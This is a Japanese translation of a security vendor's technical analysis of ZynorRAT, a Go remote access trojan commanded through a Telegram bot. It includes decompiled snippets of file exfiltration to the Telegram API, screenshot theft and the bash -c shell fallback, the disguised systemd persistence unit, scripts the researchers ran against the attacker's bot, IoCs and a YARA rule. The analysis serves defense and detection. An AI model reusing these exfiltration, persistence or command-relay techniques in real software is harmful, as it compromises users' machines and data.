ZynorRAT テクニカル分析: 新種のトルコ製 Go ベース RAT をリバースエンジニアリングする

デモを依頼
By 清水 孝郎 - SEPTEMBER 9, 2025

SHARE:

本文の内容は、2025年9月9日にAlessandra Rizzo が投稿したブログ(https://www.sysdig.com/blog/zynorrat-technical-analysis-reverse-engineering-a-novel-turkish-go-based-rat)を元に日本語に翻訳・再構成した内容となっております。

イントロダクション

Sysdig脅威リサーチチーム(TRT)は、最近の脅威ハンティング演習において、 ZynorRATと名付けた新たなサンプルを特定しました。これは、LinuxとWindowsの両方で包括的なカスタムコマンドアンドコントロール(C2)機能を提供する、Goベースのリモートアクセス型トロイの木馬(RAT)です。

ZynorRATは2025年7月8日に初めてVirusTotalに報告され、他の既知のマルウェアファミリーとの顕著な類似点はありません。VirusTotalへの複数回のアップロードで検出数が減少していることからもわかるように、開発者はZynorRATマルウェアの検出を困難にするべく積極的に取り組んでいると確信しています。ボットネットのコントロールにTelegramが利用されていることで、管理が簡素化され、作成者はオペレーションを自動化できます。Telegramのチャット、ネットワークログ、リバースエンジニアリングで発見された文字列、そしてVirusTotalのテレメトリに基づき、TRTはZynorRATがトルコ起源であると確信しています。

マルウェアに関連するTelegramチャンネルを監視することで、マルウェアの開発過程を観察し、作成者の目的は完成後に販売することだと推測しました。ZynorRATをより深く理解するため、その機能を分析し、攻撃者の属性を調査し、検出情報と侵害指標(IoC)を提供しました。詳細な技術分析は以下をご覧ください。

Linux 用の ZynorRAT

ZynorRATはGo言語で開発され、攻撃者に複数の機能を提供します。主な目的は、Telegramボットによって一元管理される収集、情報流出、リモートアクセスツールとして機能することです。Telegramは主要なC2インフラストラクチャーとして機能し、マルウェアは被害者のマシンに展開されると、そこからさらなるコマンドを受け取ります。

VirusTotalでこのマルウェアのインスタンスが複数確認されました。このマルウェアは2025年7月8日に「zynor」という名前で初めてアップロードされ、セキュリティベンダー66社のうちわずか22社から「悪意がある」と判定されました。その後2日後の7月10日に、より低い「悪意がある」スコアで再アップロードされましたが、66社のうちわずか16社しか検出していませんでした。これは、開発者がZynorRATを改良し、検出されにくくしていることを示唆していると考えられます。

テクニカル分析

解析したバイナリ(SHA256 bceccc566fe3ae3675f7e20100f979eaf2053d9a4f3a3619a550a496a4268ef5)は、Goでx86-64向けにコンパイルされたELF形式の64ビット実行ファイルです。このバイナリはパックもストリップもされておらず、ほとんどの機能、シンボル、アーティファクトが平文で含まれています。サイズは約10MBで、Goでコンパイルされた実行ファイルとしては特筆すべき大きさですが、想定内の値です。

リバースエンジニアリングにradere2を使用することで、マルウェアの主な機能とそのラッパー関数を以下に詳述する通り明らかにすることができました。これは逆コンパイル段階への良い出発点となり、ZynorRATの内部動作に関する重要な詳細を明らかにすることができました。

私たちが分析した 7 つの Linux サンプルすべてにおいて、関数とそのロジックは変更されていません。これらのサンプルは IoC セクションに記載されています。

このマルウェアはRATであり、被害者のマシンに侵入すると、Telegramボットを介してリモート攻撃者が要求した操作を実行し、ボットをC2スイートへと変貌させます。このマルウェアは現在、ファイルの流出、システムの列挙、スクリーンショットのキャプチャ、systemdサービスによる永続化、任意のコマンド実行など、複数の機能をサポートしています。

攻撃者とボットのチャットから、攻撃者が被害者のマシンにコマンドを送信すると、被害者は1分以内にコマンドの結果を返すことが確認されました。ハードコードされたコマンドに含まれない攻撃者への送信内容はすべて、送信された文字列の先頭に「bash -c」を付加することでbashコマンドとして実行されます。

ディスカバリー

C2 から受信した /fs_list コマンドによって呼び出される関数 handleListDirectory は、被害者マシン上のディレクトリを列挙し、その結果をログに記録して Telegram ボットに送信する役割を担っています。各エントリの名前は改行(\n)と連結され、必要に応じて runtime.growslice 呼び出しを使用して文字列が動的に拡張されます。

handleMetricsボットから受信したコマンドによって呼び出される関数/metricsは、システムの列挙とプロファイリングを実行します。この関数はまず、ドメイン「api.ipify.org」にHTTPリクエストを送信し、被害者のマシンのIPアドレスを返します。また、ホスト名と現在のユーザーも列挙します。

os.hostname();
  os/user.Current();
  net/http.(*Client).Get((http.Client *)net/http.DefaultClient,"https://api.ipify.org",0x15);Code language: JavaScript (javascript)

関数 handleListProcesses は、C2 から /proc_list コマンドを受信すると呼び出され、被害者マシン上で ps コマンドを実行するために os.exec 関数を使用します。その結果を連結し、C2 に送り返します。

os/exec.Command("ps",2,&local_18,1,1);
  os/exec.(*Cmd).CombinedOutput(this);
    fmt.Sprintf(&DAT_007cd3eb,0x21,&local_28,1,1);
    main.sendMessage(extraout_RAX_00,0x21);
...
  runtime.concatstring2(0,&DAT_007cb8dc,0x1e,extraout_RAX,2);
  main.sendMessage(extraout_RAX_01,&DAT_007cb8dc);Code language: JavaScript (javascript)

情報流出

handleGetFileコマンドによって呼び出される関数は/fs_get、C2からのファイル要求を処理する役割を担います。この関数には、ファイルが存在するかどうか、またアクセス可能かどうかを確認するための複数の検証ステップが含まれています。ファイルが存在しない場合は、エラーをログに記録し、C2に返送します。要求されたファイルが見つかった場合、関数はsendDocument関数を呼び出します。この関数は最終的にファイルを抽出します。これは、ファイルの内容をバイト単位で格納したバッファを準備することで実現され、このバッファは最終的なHTTPリクエストの一部として、Telegramボットにファイルを返送します。

/* Name: main.sendDocument
   Start: 006bc8a0
   End: 006bd240 */

void main.sendDocument(undefined8 param_1,long param_2,undefined8 param_3,undefined8 param_4)

{

...

  os.OpenFile(param_1,local_e8,0,0);
                    /* D:/halil/lrat/main.go:391 */
    return;
  }

...

  mime/multipart.(*Writer).WriteField(this,"chat_id",7,extraout_RAX_05,2);
                    /* D:/halil/lrat/main.go:403 */
  mime/multipart.(*Writer).WriteField
            (this,"caption",7,uStack0000000000000018,uStack0000000000000020);
  mime/multipart.(*Writer).CreateFormFile(this,"document",8,extraout_RAX_06,lVar1);
  puVar4 = go:itab.*os.File,io.Reader;
  io.copyBuffer(extraout_RAX_07,"document",go:itab.*os.File,io.Reader,extraout_RAX,0,0,0);

...

  return;
}Code language: JavaScript (javascript)

関数 handleScreenshot は、C2 から /capture_display コマンドを受信すると呼び出され、オープンソースの無害なツール screenshot を実装します。これにより、まずアクティブなディスプレイの数を列挙し、その内容をキャプチャしたうえで、PNG コンテンツをエンコードした形式に変換し、Telegram ボットに送信することでデスクトップ画面を効果的に取得します。

github.com/kbinani/screenshot.NumActiveDisplays();
  github.com/kbinani/screenshot.GetDisplayBounds(lVar2);
  github.com/kbinani/screenshot.Capture(0,0,lVar3,lVar4);
  os.CreateTemp(0,0,&DAT_007c49ad,0x10);
  runtime.newobject(&datatype.Struct.png.Encoder);
  image/png.(*Encoder).Encode  (this,go:itab.*os.File,io.Writer,extraout_RAX_02,go:itab.*image.RGBA,image.Image,
             extraout_RAX_01);
    main.sendMessage(extraout_RAX_04,0x1f);
  os.(*file).close((os.file *)*extraout_RAX_02);
  main.sendDocument(*(undefined8 *)(*extraout_RAX_02 + 0x38),Code language: JavaScript (javascript)

以下に示すように、攻撃者とボット間の Telegram チャットの調査中に、攻撃者がこの機能を呼び出している証拠を確認しました。

ユーザー「134errors」がコマンドを送信すると/capture_display、ボットは即座に被害者のデスクトップのスクリーンショットを送り返します。

永続化

ZynorRAT は、systemd のユーザーサービスを悪用することで永続化メカニズムを実装しています。systemd は ~/.config/systemd/user 配下にユーザー固有のサービス定義ファイルを置くことを許容しますが、これは一般的にはあまり見られません。ZynorRAT はこれを利用し、~/.config/systemd/user/system-audio-manager.service というパスに以下の内容を持つサービスファイルを作成します。

[Unit]
Description=System Audio Core Service
After=network.target

[Service]
ExecStart=/home/user/.local/bin/audio
Restart=always
RestartSec=10

[Install]
WantedBy=default.targetCode language: JavaScript (javascript)

次のコマンドを実行して、新しいサービス ファイルをロードします。

systemctl --user daemon-reload

インパクト

このツールは、C2 から /proc_kill コマンドを受信すると、被害者マシン上で実行中のプロセスを強制終了することができます。これは、対象プロセスの PID とともに kill コマンドを実行することで行われます。PID は、前述の handleListProcess 関数によって取得された実行中プロセスの一覧から判明している可能性があります。kill 操作の結果はログに記録され、その後 C2 への通知として送信されます。

os/exec.Command("kill",4,&local_28,2,2);
    os/exec.(*Cmd).Run(this);
    main.sendMessage(extraout_RAX_00,0x22);Code language: JavaScript (javascript)

シェル実行

まだ C2 からコマンドを受信していない場合、このマルウェアのフォールバックかつデフォルトの挙動は、C2 から送られてきた内容をそのままマシン上でコマンドとして実行することです。攻撃者からマルウェアに送られた入力が、上記で列挙したコマンド命令のいずれにも一致しない場合、その入力自体が解析され、デフォルトで bash -c <command> として実行されます。


これは事実上、攻撃者にとってのコマンド実行機能として機能し、被害者マシン上でのリモートコード実行を可能にします。

handleShellCommand

local_48 = "-c";
  os/exec.Command("bash",4,&local_48,2,2);
  os/exec.(*Cmd).CombinedOutput(this);Code language: JavaScript (javascript)

Telegram チャットの調査中に、この関数が使用された証拠を発見しました。あるケースでは、攻撃者が被害者マシン上で実行するために sudo su コマンドを送信しました。ボットは直ちにそのコマンドを実行し、ログメッセージを返しました。

Windows 用 ZynorRAT

ZynorRATのWindows版もGoでコンパイルされており、Linux版と同一です。Telegramボットの情報に加え、同じ関数も存在します。

このバージョンのマルウェアは Windows 向けに適応されていません。Windows 実行ファイルとしてコンパイルされているにもかかわらず、systemd コマンドや .config パスを用いた Linux 専用の永続化ロジックを実行します。

マルウェア開発者は VirusTotal の検知能力を確認しようとしており、まだ Windows 版の ZynorRAT を完全には開発していないと考えるのが妥当です。

Telegram C2

Tosintを使用して Telegram ボットの情報を抽出することができました。

私たちは、Telegram で「lraterrorsbot」というユーザーとして活動している「lrat」という名前の専用ボットを発見しました。

ZynorRAT ボットとのファイル通信はVirusTotalで追跡できます。

デコンパイルされたバイナリからは chat_id の値を完全には取得できなかったため、次の Python スクリプトを用いてボットにアップデートをポーリングしました。

import requests
import time

# === CONFIG ===
BOT_TOKEN = '<attacker_token>'
API_URL = f'https://api.telegram.org/bot{BOT_TOKEN}/getUpdates'
TIMEOUT = 60  # seconds
POLL_INTERVAL = 1  # delay

# === STATE ===
last_update_id = None

print("Starting Telegram long-polling...")

while True:
    try:
        params = {
            'timeout': TIMEOUT,
        }
        if last_update_id is not None:
            params['offset'] = last_update_id + 1

        response = requests.get(API_URL, params=params, timeout=TIMEOUT + 5)
        result = response.json()

        if result.get("ok") and result.get("result"):
            for update in result["result"]:
                update_id = update["update_id"]
                print(f"[+] New update: {update}")
                last_update_id = update_id
        else:
            time.sleep(POLL_INTERVAL)

    except Exception as e:
        print(f"[!] Error: {e}")
        time.sleep(5)Code language: PHP (php)

このスクリプトを 10 日間以上実行したままにしていたところ、ようやく攻撃者のチャットから更新情報が届き、その ID とボットに送信されたテキスト「ip」と「id」が明らかになりました。

入手したチャット ID を使用して、攻撃者とボットとのチャットの過去のすべてのメッセージを、チャットを記録するスクリプトに転送する簡単な Bash スクリプトを作成できました。

bot_token="<attacker's bot token>" # Bot token
from_chat_id="<attacker's chat id>" # Attacker's chat ID
to_chat_id="<our chat id>" # Our chat ID with the bot

for message_id in $(seq 1 1000); do
  curl -s -X POST "https://api.telegram.org/bot${bot_token}/forwardMessage" \
    -H "Content-Type: application/json" \
    -d "{\"from_chat_id\":\"${from_chat_id}\",\"chat_id\":\"${to_chat_id}\",\"message_id\":${message_id}}"
doneCode language: PHP (php)

攻撃者のチャットでは、以前の例で示したように、侵害の十分な証拠、実行されたコマンド、被害者のホストから取得された多数のスクリーンショットが明らかになりました。

また、実行ファイルは攻撃者によってファイル共有サービスであるDosya.co を使用して配布されていることも判明しました。

ボットから取得したスクリーンショット

画像に見られるように、実行可能ファイル zynor は、この記事の執筆時点ではまだ Web サイトにホストされています。

また、このマルウェアがまだ開発の初期段階にあると見られることも確認しました。攻撃者自身のテストマシンと推測される環境からの多数のスクリーンショットが存在し、それらには攻撃者が VSCode や go run コマンドを使って RAT をコンパイル・実行している様子や、/capture_display などのコマンドを実行して実際に機能が動作するかを確認している様子が示されています。

このボットは着弾したマシンに関する情報を報告しており、その一例を以下に示しますが、私たちは Telegram メッセージから次の IP アドレスを抽出することができました。

IP AddressASNISP
34.139.81.65AS396982Google LLC
176.88.126.219AS34984Superonline Iletisim Hizmetleri A.S.
35.190.164.155AS396982Google LLC
107.167.160.16AS396982Google LLC
185.171.76.209AS62336PURtel.com GmbH
154.61.71.50AS174Cogent Communications
136.144.33.66AS206092Internet Utilities Europe and Asia Limited
136.144.33.64AS206092Internet Utilities Europe and Asia Limited
176.238.224.71AS16135Turkcell A.S.
20.99.160.173AS8075Microsoft Corporation
35.203.161.183AS396982Google LLC
35.238.198.203AS396982Google LLC
199.203.206.147AS1680Cellcom Fixed Line Communication L.P
194.154.78.140AS3216PJSC “Vimpelcom”
79.104.209.186AS3216PJSC “Vimpelcom”
213.33.190.106AS3216PJSC “Vimpelcom”
40.80.158.10AS8075Microsoft Corporation
213.33.190.139AS3216PJSC “Vimpelcom”
194.154.78.108AS3216PJSC “Vimpelcom”
79.104.209.92AS3216PJSC “Vimpelcom”
64.124.77.153AS6461Zayo Bandwidth
195.74.76.223AS198605Gen Digital dba as Avast
140.228.21.191AS174Cogent Communications
87.166.58.36AS3320Deutsche Telekom AG
138.199.28.251AS212238Datacamp Limited
107.167.163.178AS396982Google LLC
34.171.15.117AS396982Google LLC
178.244.44.146AS16135Turkcell A.S.
35.186.88.97AS396982Google LLC
34.133.16.226AS396982Google LLC
104.196.52.179AS396982Google LLC
35.223.219.31AS396982Google LLC
34.45.247.65AS396982Google LLC
34.61.57.114AS396982Google LLC
194.154.78.146AS3216PJSC “Vimpelcom”
213.33.190.152AS3216PJSC “Vimpelcom”
195.68.142.27AS3216PJSC “Vimpelcom”
213.33.190.191AS3216PJSC “Vimpelcom”
194.154.78.215AS3216PJSC “Vimpelcom”
195.68.142.8AS3216PJSC “Vimpelcom”
79.104.209.215AS3216PJSC “Vimpelcom”
79.104.209.144AS3216PJSC “Vimpelcom”
79.104.209.84AS3216PJSC “Vimpelcom”
194.154.78.212AS3216PJSC “Vimpelcom”
194.154.78.207AS3216PJSC “Vimpelcom”
185.244.192.175AS197540netcup GmbH
93.216.69.15AS3320Deutsche Telekom AG
217.131.107.38AS34984Superonline Iletisim Hizmetleri A.S.
35.186.22.151AS396982Google LLC
34.27.187.90AS396982Google LLC
77.37.103.74AS62336PURtel.com GmbH
24.99.144.70AS7922Comcast Cable Communications, LLC
195.239.51.34AS3216PJSC “Vimpelcom”
102.129.152.199AS174Cogent Communications
185.93.40.66AS35526Smart Technology LLC
198.44.129.137AS11878tzulo, inc.
18.217.255.5AS16509Amazon.com, Inc.
18.119.9.54AS16509Amazon.com, Inc.
18.224.19.240AS16509Amazon.com, Inc.

その多くはクラウドプロバイダーに属しており、攻撃者が 7 月 9 日頃から実際の被害者マシンではなくクラウドインスタンスにマルウェアをインストールしてテストを開始したと考えるのが妥当です。実際、いくつかの Amazon の IP に対して逆引き IP ルックアップを行ったところ、それらが EC2 インスタンスに対応していることが判明しました。

トルコのIPアドレスの一部は攻撃者のものであると考えるのも妥当でしょう。しかしながら、抽出されたIPアドレスの一部が潜在的な被害者のものであった可能性も否定できません。

攻撃者の特定

分析の大部分において、「halil」という名前は、逆コンパイルされたバイナリ内、そして後にTelegram経由で取得した攻撃者のマシンのスクリーンショット内に複数回出現しています。攻撃者の名前またはニックネームが「halil」である可能性が高く、このRATは(開発中の)個人によって作成されたものであると考えられます。開発の初期段階にあるこのマルウェアは、今後、アンダーグラウンド市場で販売されるようになると予測されます。

これは珍しいことではありません。比較的熟練した悪意のある攻撃者が、自ら悪意のある活動を行うのではなく、他者への販売のみを目的としてマルウェアを開発するのです。例えば、以下は2025年1月にアンダーグラウンドフォーラムで販売され、ThreatMon on Xで報告された類似のマルウェア「SilentEye」のスクリーンショットです。

このマルウェアがアンダーグラウンドフォーラム上で活発に販売されているという証拠は見つかっていません。攻撃者が開発の初期段階にあると考えられるため、ZynorRATはまだ公開されていない可能性があります。

検知

Sysdig Secureのお客様は、以下のルールによってZynorRATの脅威から保護されています。攻撃者が実行するコマンドに応じて、パーシスタンスコマンドなどの追加の脅威検知がトリガーされます。

  • DNS Lookup for Reconnaissance Service Detected(偵察サービスの DNS ルックアップが検知されました)(Sysdig Runtime Notable Events)

  • DNS Lookup for Suspicious Domain Detected (疑わしいドメインの DNS ルックアップが検知されました)(Sysdig Runtime Notable Events)

  • MAL_ZYNOR Yara ルール(Malware Detection policy)
rule MAL_ZYNOR {
   meta:
       md5 = "7422122eec7cfb3ec44737607d3ff5d2"
       description = "Detects ZynorRAT"
       author = "Sysdig TRT"
       date = "2025-08-04"
       tags = "zynor, ELF"
       reference = "Internal Research"
       version = "1.0"
   strings:
       $s1 = "main.handleShellCommand"
       $s2 = "main.handlePersistence"
       $s3 = "https://api.telegram.org/bot%s/sendMessage?chat_id=%d&text=%s" ascii
       $s4 = "https://api.telegram.org/bot%s/sendDocument" ascii
   condition:
       uint32(0) == 0x464c457f and
       1 of ($s1, $s2) and
	1 of ($s3, $s4)
}

Code language: PHP (php)

まとめ

マルウェアエコシステムにはRATが不足しているわけではありませんが、マルウェア開発者は依然としてゼロからRATを開発することに時間を費やしています。ZynorRATはGo言語で開発された、新しい悪意のあるアクセス型トロイの木馬です。Telegramボットに統合された多数のテスト用スクリーンショットやコマンドが示すように、まだ開発初期段階にあります。ZynorRATのカスタマイズ性と自動化された制御機能は、現代のマルウェアが初期段階から進化し、巧妙化していることを如実に示しています。

このツールは、悪意のあるソフトウェアの販売が盛んなフォーラムやTelegramなどのアンダーグラウンド市場にまもなく流入すると、私たちは高い確信を持って予測しています。ZynorRATは、ファイルの窃取、偵察・ディスカバリー、永続化、そして被害者マシン上でのリモートコード実行といった、複数の重要な機能を備えています。マルウェア作成者は、そのリーチを拡大するために、Windows版の開発を継続すると予想されます。

ランタイム脅威検知は、この種の脅威を検出するための多層防御戦略において依然として重要です。Linuxはますます脅威アクターの標的となっており、利用可能なツールの数も増加し続けています。

付録

ZynorRATが使用するコマンド

Command MatchHandler CalledBehavior Description
/helpmain.sendMessageDisplays help message
/fs_get main.handleGetFileFile exfiltration
/fs_list main.handleListDirectoryList directory contents
/metrics main.handleMetricsGather system metrics
/persistence main.handlePersistenceEstablish persistence (e.g., autorun)
/proc_killmain.handleKillProcessKill process
/proc_list main.handleListProcessesList running processes
/capture_displaymain.handleScreenshotTake screenshot
Anything elsemain.handleShellCommandExecutes arbitrary shell commands

IoCs

Windows

  • 037e5fe028a60604523b840794d06c8f70a9c523a832a97ecaaccd9f419e364a
  • 47338da15a35c49bcd3989125df5b082eef64ba646bb7a2db1565bb413b69323
  • c890c6e6b7cc6984cd9d9061d285d814841e0b8136286e6fd943013260eb8461

Linux

  • 237a40e522f2f1e6c71415997766b4b23f1526e2f141d68ff334de3ff5b0c89f
  • 48c2a8453feea72f8d9bfb9c2731d811e7c300f3e1935bddd7188324aab7d30d
  • 4cd270b49c8d5c31560ef94dc0bee2c7927d6f3e77173f660e2f3106ae7131c3
  • a6c450f9abff8a22445ba539c21b24508dd326522df525977e14ec17e11f7d65
  • bceccc566fe3ae3675f7e20100f979eaf2053d9a4f3a3619a550a496a4268ef5
  • 8b09ba6e006718371486b3655588b438ade953beecf221af38160cbe6fedd40a
  • f9eb2a54e500b3ce42950fb75af30955180360c978c00d081ea561c86e54262d

Domains

api.telegram.org